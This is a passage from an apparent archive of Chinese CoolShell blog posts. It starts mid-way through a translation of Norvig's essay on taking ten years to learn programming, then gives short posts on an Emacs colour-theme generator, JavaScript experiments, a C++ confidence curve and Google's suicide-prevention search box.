Days</a>》（3天学会C++）这样的题目到底是什么意思：</div>\n<ul>\n<li><strong>学会</strong>：在3天时间里，你不够时间写一些有意义的程序，并从它们的失败与成功中学习。你不够时间跟一些有经验的程序员一起工作，你不会知道在C++那样的环境中是什么滋味。简而言之，没有足够的时间让你学到很多东西。所以这些书谈论的只是表面上的精通，而非深入的理解。如Alexander Pope（英国诗人、作家，1688-1744）所言，<strong><span style=\"color: #800080;\">一知半解是危险的（a little learning is a dangerous thing）</span></strong></li>\n<li><strong>C++</strong>：在3天时间里你可以学会C++的语法（如果你已经会一门类似的语言），但你无法学到多少如何运用这些语法。简而言之，如果你是，比如说一个Basic程序员，你可以学会用C++语法写出Basic风格的程序，但你学不到C++真正的优点（和缺点）。那关键在哪里？Alan Perlis（ACM第一任主席，图灵奖得主，1922-1990）曾经说过：“<strong><span style=\"color: #800080;\">如果一门语言不能影响你对编程的想法，那它就不值得去学</span></strong>”。另一种观点是，有时候你不得不学一点C++（更可能是javascript和Flash Flex之类）的皮毛，因为你需要接触现有的工具，用来完成特定的任务。但此时你不是在学习如何编程，你是在学习如何完成任务。</li>\n<li><strong>3天</strong>：不幸的是，这是不够的，正如下一节所言。</li>\n</ul>\n<h4>10年学编程</h4>\n<div>一些研究者（<a href=\"http://www.amazon.com/exec/obidos/ASIN/034531509X/\">Bloom (1985)</a>, <a href=\"http://norvig.com/21-days.html#bh\">Bryan &amp; Harter (1899)</a>, <a href=\"http://www.amazon.com/exec/obidos/ASIN/0805803092\">Hayes (1989)</a>, <a href=\"http://norvig.com/21-days.html#sc\">Simmon &amp; Chase (1973)</a>）的研究表明，在许多领域，都需要大约10 年时间才能培养出专业技能，包括国际象棋、作曲、绘画、钢琴、游泳、网球，以及神经心理学和拓扑学的研究。似乎并不存在真正的捷径：即使是莫扎特，他4 岁就显露出音乐天才，在他写出世界级的音乐之前仍然用了超过13年时间。再看另一种音乐类型的披头士，他们似乎是在1964年的Ed Sullivan节目中突然冒头的。但其实他们从1957年就开始表演了，即使他们很早就显示出了巨大的吸引力，他们第一次真正的成功——Sgt. Peppers——也要到1967年才发行。<a href=\"http://www.amazon.com/Outliers-Story-Success-Malcolm-Gladwell/dp/0316017922\">Malcolm Gladwell</a> 研究报告称，把在伯林音乐学院学生一个班的学生按水平分成高中低，然后问他们对音乐练习花了多少工夫：</div>\n<blockquote><p>在这三个小组中的每一个人基本上都是从相同的时间开始练习的（在五岁的时候）。在开始的几年里，每个人都是每周练习2-3个小时。但是在八岁的时候，练习的强度开始显现差异。在这个班中水平最牛的人开始比别人练习得更多——在九岁的时候每周练习6个小时，十二岁的时候，每周8个小时，十四岁的时候每周16个小时，并在成长过程中练习得越来越多，到20岁的时候，其每周练习可超过30个小时。到了20岁，这些优秀者在其生命中练习音乐总共超过 10,000 小时。与之对比，其它人只平均有8,000小时，而未来只能留校当老师的人仅仅是4,000 小时。</p></blockquote>\n<div>所以，这也许需要10,000 小时，并不是十年，但这是一个magic number。Samuel Johnson（英国诗人）认为10 年还是不够的：“<strong><span style=\"color: #800080;\">任何领域的卓越成就都只能通过一生的努力来获得；稍低一点的代价也换不来。</span></strong>”（Excellence in any department can be attained only by the labor of a lifetime; it is not to be purchased at a lesser price.） 乔叟（Chaucer，英国诗人，1340-1400）也抱怨说：“<strong><span style=\"color: #800080;\">生命如此短暂，掌握技艺却要如此长久。</span></strong>”（the lyf so short, the craft so long to lerne.）</div>\n<div></div>\n<div>下面是我在编程这个行当里获得成功的处方：</div>\n<ul>\n<li>对编程感兴趣，因为乐趣而去编程。确定始终都能保持足够的乐趣，以致你能够将10年时间投入其中。</li>\n<li>跟其他程序员交谈；阅读其他程序。这比任何书籍或训练课程都更重要。</li>\n<li>编程。最好的学习是<a href=\"http://www.engines4ed.org/hyperbook/nodes/NODE-120-pg.html\" target=\"_blank\">从实践中学习</a>。用更加技术性的语言来讲，“个体在特定领域最高水平的表现不是作为长期的经验的结果而自动获得的，但即使是非常富有经验的个体也可以通过刻意的努力而提高其表现水平。”（<a href=\"http://www2.umassd.edu/swpi/DesignInCS/expertise.html\" target=\"_blank\">p. 366</a>），而且“最有效的学习要求为特定个体制定适当难度的任务，有意义的反馈，以及重复及改正错误的机会。”（p. 20-21）《<a href=\"http://www.amazon.com/exec/obidos/ASIN/0521357349\" target=\"_blank\">Cognition in Practice: Mind, Mathematics, and Culture in Everyday Life</a>》（在实践中认知：心智、数学和日常生活的文化）是关于这个观点的一本有趣的参考书。</li>\n<li>如果你愿意，在大学里花上4年时间（或者再花几年读研究生）。这能让你获得一些工作的入门资格，还能让你对此领域有更深入的理解，但如果你不喜欢进学校，（作出一点牺牲）你在工作中也同样能获得类似的经验。在任何情况下，单从书本上学习都是不够的。“计算机科学的教育不会让任何人成为内行的程序员，正如研究画笔和颜料不会让任何人成为内行的画家”, Eric Raymond，《The New Hacker’s Dictionary》（新黑客字典）的作者如是说。我曾经雇用过的最优秀的程序员之一仅有高中学历；但他创造出了许多伟大的软件（<a href=\"http://www.xemacs.org/\" target=\"_blank\">XEmacs</a>, <a href=\"http://www.mozilla.org/\" target=\"_blank\">Mozilla</a>），甚至有讨论他本人的<a href=\"http://groups.google.com/groups?q=alt.fan.jwz&amp;meta=site%3Dgroups\" target=\"_blank\">新闻组</a>，而且股票期权让他达到我无法企及的<a href=\"http://en.wikipedia.org/wiki/DNA_Lounge\" target=\"_blank\">富有程度</a>（译注：指Jamie Zawinski，Xemacs和Netscape的作者）。</li>\n<li>跟别的程序员一起完成项目。在一些项目中成为最好的程序员；在其他一些项目中当最差的一个。当你是最好的程序员时，你要测试自己领导项目的能力，并通过你的洞见鼓舞其他人。当你是最差的时候，你学习高手们在做些什么，以及他们不喜欢做什么（因为他们让你帮他们做那些事）。</li>\n<li>接手别的程序员完成项目。用心理解别人编写的程序。看看在没有最初的程序员在场的时候理解和修改程序需要些什么。想一想怎样设计你的程序才能让别人接手维护你的程序时更容易一些。</li>\n<li>学会至少半打编程语言。包括一门支持类抽象（class abstraction）的语言（如Java或C++），一门支持函数抽象（functional abstraction）的语言（如Lisp或ML），一门支持句法抽象（syntactic abstraction）的语言（如Lisp），一门支持说明性规约（declarative specification）的语言（如Prolog或C++模版），一门支持协程（coroutine）的语言（如Icon或Scheme），以及一门支持并行处理（parallelism）的语言（如Sisal）。</li>\n<li>记住在“计算机科学”这个词组里包含“计算机”这个词。了解你的计算机执行一条指令要多长时间，从内存中取一个word要多长时间（包括缓存命中和未命中的情况），从磁盘上读取连续的数据要多长时间，定位到磁盘上的新位置又要多长时间。（<a href=\"http://norvig.com/21-days.html#answers\" target=\"_blank\">答案在这里</a>）</li>\n<li>尝试参与到一项语言标准化工作中。可以是ANSI C++委员会，也可以是决定自己团队的编码风格到底采用2个空格的缩进还是4个。不论是哪一种，你都可以学到在这门语言中到底人们喜欢些什么，他们有多喜欢，甚至有可能稍微了解为什么他们会有这样的感觉。</li>\n<li>拥有尽快从语言标准化工作中抽身的良好判断力。</li>\n</ul>\n<p>抱着这些想法，我很怀疑从书上到底能学到多少东西。在我第一个孩子出生前，我读完了所有“怎样……”的书，却仍然感到自己是个茫无头绪的新手。30个月后，我第二个孩子出生的时候，我重新拿起那些书来复习了吗？不。相反，我依靠我自己的经验，结果比专家写的几千页东西更有用更靠得住。</p>\n<p>Fred Brooks在他的短文《<a href=\"http://en.wikipedia.org/wiki/No_Silver_Bullet\" target=\"_blank\">No Silver Bullets</a>》（没有银弹）中确立了如何发现杰出的软件设计者的三步规划：</p>\n<ul>\n<li>尽早系统地识别出最好的设计者群体。</li>\n<li>指派一个事业上的导师负责有潜质的对象的发展，小心地帮他保持职业生涯的履历。</li>\n<li>让成长中的设计师们有机会互相影响，互相激励。</li>\n</ul>\n<p>这实际上是假定了有些人本身就具有成为杰出设计师的必要潜质；要做的只是引导他们前进。<a href=\"http://www-pu.informatik.uni-tuebingen.de/users/klaeren/epigrams.html\" target=\"_blank\">Alan Perlis</a>说得更简洁：“每个人都可以被教授如何雕塑；而对米开朗基罗来说，能教给他的倒是怎样能够不去雕塑。杰出的程序员也一样”。</p>\n<p>所以尽管去买那些Java书；你很可能会从中找到些用处。但你的生活，或者你作为程序员的真正的专业技术，并不会因此在24小时、24天甚至24个月内发生真正的变化。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9543.html\"><img alt=\"“C++的数组不支持多态”？\" height=\"150\" src=\"../wp-content/uploads/2013/04/weibo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9543.html\">“C++的数组不支持多态”？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5388.html\"><img alt=\"C语言中史上最愚蠢的Bug\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5388.html\">C语言中史上最愚蠢的Bug</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2250.html\">“21天教你学会C++”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-3-31 Emacs配色在线生成器.html",
    "content": "<html><body><p><a href=\"http://alexpogosyan.com/color-theme-creator/\">http://alexpogosyan.com/color-theme-creator/</a></p>\n<p>点击“Generate config file”，你可以看到生成的Emacs配色配置。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"alignnone size-full wp-image-2272\" height=\"278\" src=\"../wp-content/uploads/2010/03/emacs_color_theme.jpg\" title=\"Emacs Color Theme Creator\" width=\"400\"/></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3437.html\"><img alt=\"一些杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/12/ediff-small-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3437.html\">一些杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3136.html\"><img alt=\"chmod -x chmod的N种解法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3136.html\">chmod -x chmod的N种解法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3125.html\"><img alt=\"主流文本编辑器学习曲线\" height=\"150\" src=\"../wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3125.html\">主流文本编辑器学习曲线</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1626.html\"><img alt=\"ldd 的一个安全问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1626.html\">ldd 的一个安全问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/435.html\"><img alt=\"Python中实现多属性排序\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/435.html\">Python中实现多属性排序</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/428.html\"><img alt=\"程序员需要具备的基本技能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/428.html\">程序员需要具备的基本技能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2271.html\">Emacs配色在线生成器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-3-31 又一个Javascript试验田.html",
    "content": "<html><body><p>以前本站发布过一篇《<a href=\"https://coolshell.cn/articles/1932.html\" target=\"_blank\">哥是玩程序的</a>》文章向大家展示了用Javascript干的些怪异的事。看来，这样的人并不在少数，这不，我又发现了一个，这回这个好像更有技术含量一些，下面是其试验程序的列表：</p>\n<p style=\"text-align: center;\"><a href=\"http://www.andrew-hoyer.com/experiments\">http://www.andrew-hoyer.com/experiments</a></p>\n<table>\n<tbody>\n<tr>\n<td><a href=\"http://www.andrew-hoyer.com/experiments/sudoku\"><br/>\n<img alt=\"Bacon and Eggs Thumbnail\" class=\"exp_thumbnail\" src=\"http://www.andrew-hoyer.com/images/experiments/SudokuThumb.jpg?1265581473\"/><br/>\n</a></td>\n<td><a class=\"important\" href=\"http://www.andrew-hoyer.com/experiments/sudoku\">Simple Sudoku Solver</a> 这是一个“数独游戏”，其在你游戏的过程中可以在空格处提示你可能的数字。\n<p class=\"exp_date\">February 2010</p>\n</td>\n</tr>\n<tr>\n<td><a href=\"http://www.andrew-hoyer.com/experiments/cloth\"><br/>\n<img alt=\"Bacon and Eggs Thumbnail\" class=\"exp_thumbnail\" src=\"http://www.andrew-hoyer.com/images/experiments/ClothThumb.jpg?1250545758\"/><br/>\n</a></td>\n<td><a class=\"important\" href=\"http://www.andrew-hoyer.com/experiments/cloth\">Cloth Simulation</a> 这是一个极端的布料仿真程序。使用鼠标拖曳，按着g键拖曳可以把布悬挂起来。\n<p class=\"exp_date\">August 2009</p>\n</td>\n</tr>\n</tbody>\n</table>\n<p><span id=\"more-2276\"></span></p>\n<table>\n<tbody>\n<tr>\n<td><a href=\"http://www.andrew-hoyer.com/experiments/numbers\"><br/>\n<img alt=\"Bacon and Eggs Thumbnail\" class=\"exp_thumbnail\" src=\"http://www.andrew-hoyer.com/images/experiments/NumbersThumb.jpg?1247627086\"/><br/>\n</a></td>\n<td><a class=\"important\" href=\"http://www.andrew-hoyer.com/experiments/numbers\">Numbers to Words</a> 这是一个把阿拉伯数字变成英文说明的演示。\n<p class=\"exp_date\">June 2009</p>\n</td>\n</tr>\n<tr>\n<td><a href=\"http://www.andrew-hoyer.com/experiments/particle_system\"><br/>\n<img alt=\"Bacon and Eggs Thumbnail\" class=\"exp_thumbnail\" src=\"http://www.andrew-hoyer.com/images/experiments/ParticleSystemThumb.jpg?1247626980\"/><br/>\n</a></td>\n<td><a class=\"important\" href=\"http://www.andrew-hoyer.com/experiments/particle_system\">N-Bodies Particle System</a> 可以模拟物理学上的原子核与电子圆周运动的的样子。\n<p class=\"exp_date\">April 2009</p>\n</td>\n</tr>\n<tr>\n<td><a href=\"http://www.andrew-hoyer.com/experiments/quantum_cryptography\"><br/>\n<img alt=\"Bacon and Eggs Thumbnail\" class=\"exp_thumbnail\" src=\"http://www.andrew-hoyer.com/images/experiments/QuantumThumb.jpg?1247626989\"/><br/>\n</a></td>\n<td><a class=\"important\" href=\"http://www.andrew-hoyer.com/experiments/quantum_cryptography\">Quantum Cryptography</a> 一篇文章介绍了什么叫“量子加密”。\n<p class=\"exp_date\">March 2009</p>\n</td>\n</tr>\n<tr>\n<td><a href=\"http://www.andrew-hoyer.com/experiments/dripsessions\"><br/>\n<img alt=\"Bacon and Eggs Thumbnail\" class=\"exp_thumbnail\" src=\"http://www.andrew-hoyer.com/images/experiments/DripSessionsThumb.jpg?1247627110\"/><br/>\n</a></td>\n<td><a class=\"important\" href=\"http://www.andrew-hoyer.com/experiments/dripsessions\">Drip Sessions</a> 一个流淌的效果。\n<p class=\"exp_date\">February 2009</p>\n</td>\n</tr>\n<tr>\n<td><a href=\"http://www.andrew-hoyer.com/experiments/robotarm\"><br/>\n<img alt=\"Bacon and Eggs Thumbnail\" class=\"exp_thumbnail\" src=\"http://www.andrew-hoyer.com/images/experiments/RoboticArmThumb.jpg?1247627096\"/><br/>\n</a></td>\n<td><a class=\"important\" href=\"http://www.andrew-hoyer.com/experiments/robotarm\">Robotic Arm</a> 一个机械手臂的演示程序。\n<p class=\"exp_date\">December 2008</p>\n</td>\n</tr>\n</tbody>\n</table>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2276.html\">又一个Javascript试验田</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-4-1 C++ 程序员自信心曲线图.html",
    "content": "<html><body><p>学习C++很长时间了，也看过很多程序员学习C++的历程。总体来说，C++是一个“双刃剑”式的语言，只有那些熟悉他的人才能把C++这门语言用好。Linus曾说过：“<strong>C++是一门很<a href=\"https://coolshell.cn/articles/1724.html\" target=\"_blank\">恐怖的语言</a>，而比它更恐怖的是很多不合格的程序员在使用着它</strong>”。是的，C++并不是一门速成的语言，其是一门需要长时间磨练和学习的语言，那些说自己熟悉C++语言的程序只能算是轻浮的。详见<a href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\" title=\"“21天教你学会C++”\">“21天教你学会C++ ”</a>。</p>\n<p>下面是一个C++程序员在学习过程序中的一个自信心曲线图：</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/03/c++.png\"><img alt=\"\" class=\"alignnone size-full wp-image-2292\" height=\"411\" src=\"../wp-content/uploads/2010/03/c++.png\" title=\"C++ 程序员自信心曲线图\" width=\"500\"/></a> </p>\n<p>程序员在一开始学习C++的时候，用C++的语法写C觉得很牛，也会觉得自己很快掌握了C++语言，对一切都充满了信心。他们告诉你他们懂C++，其它他们错误，但我们不能说他们在撒谎，因为人总是不知道自己不知道什么。此后，当他们在C++的学习历程中，发现了很多很多稀奇古怪的东西，还有很多相当底层和复杂的东西，他们的将会变得很受挫，很沮丧，还始变得怀疑起，自信心开始下降，甚至有时候他们靠人品来编程。只到有一天，开始开窃，觉得C++的世界不能乱来，需要一定的规则，一定的方法，于是通过大量的错误不停地总结和反省，最终自信心又会被建立起来，<a href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\">经历多年的历练后</a>，才能恢复自信。</p>\n<p>对于大多数的自称自己熟悉C++的程序员来说，基本上来说他们都是用C++的语法来写C。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9543.html\"><img alt=\"“C++的数组不支持多态”？\" height=\"150\" src=\"../wp-content/uploads/2013/04/weibo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9543.html\">“C++的数组不支持多态”？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5388.html\"><img alt=\"C语言中史上最愚蠢的Bug\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5388.html\">C语言中史上最愚蠢的Bug</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2287.html\">C++ 程序员自信心曲线图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-4-1 Google居然在阻止人们自杀？.html",
    "content": "<html><body><p>中文的Google会不会出onebox来劝阻人们翻墙？</p>\n<p><span style=\"font-family: arial,helvetica,sans-serif;\"> </span><span style=\"font-family: arial,helvetica,sans-serif;\"><a href=\"http://www.google.com/search?q=ways+to+commit+suicide\" target=\"_blank\">suicide prevention onebox</a></span></p>\n<p><a href=\"http://www.google.com/search?q=poison+control\" target=\"_blank\"><span style=\"font-family: arial,helvetica,sans-serif;\">poison control onebox</span></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/04/googleOnebox.png\"><img alt=\"\" class=\"alignnone size-full wp-image-2295\" height=\"426\" src=\"../wp-content/uploads/2010/04/googleOnebox.png\" title=\"googleOnebox\" width=\"500\"/></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2785.html\"><img alt=\"JS1K 演示\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2785.html\">JS1K 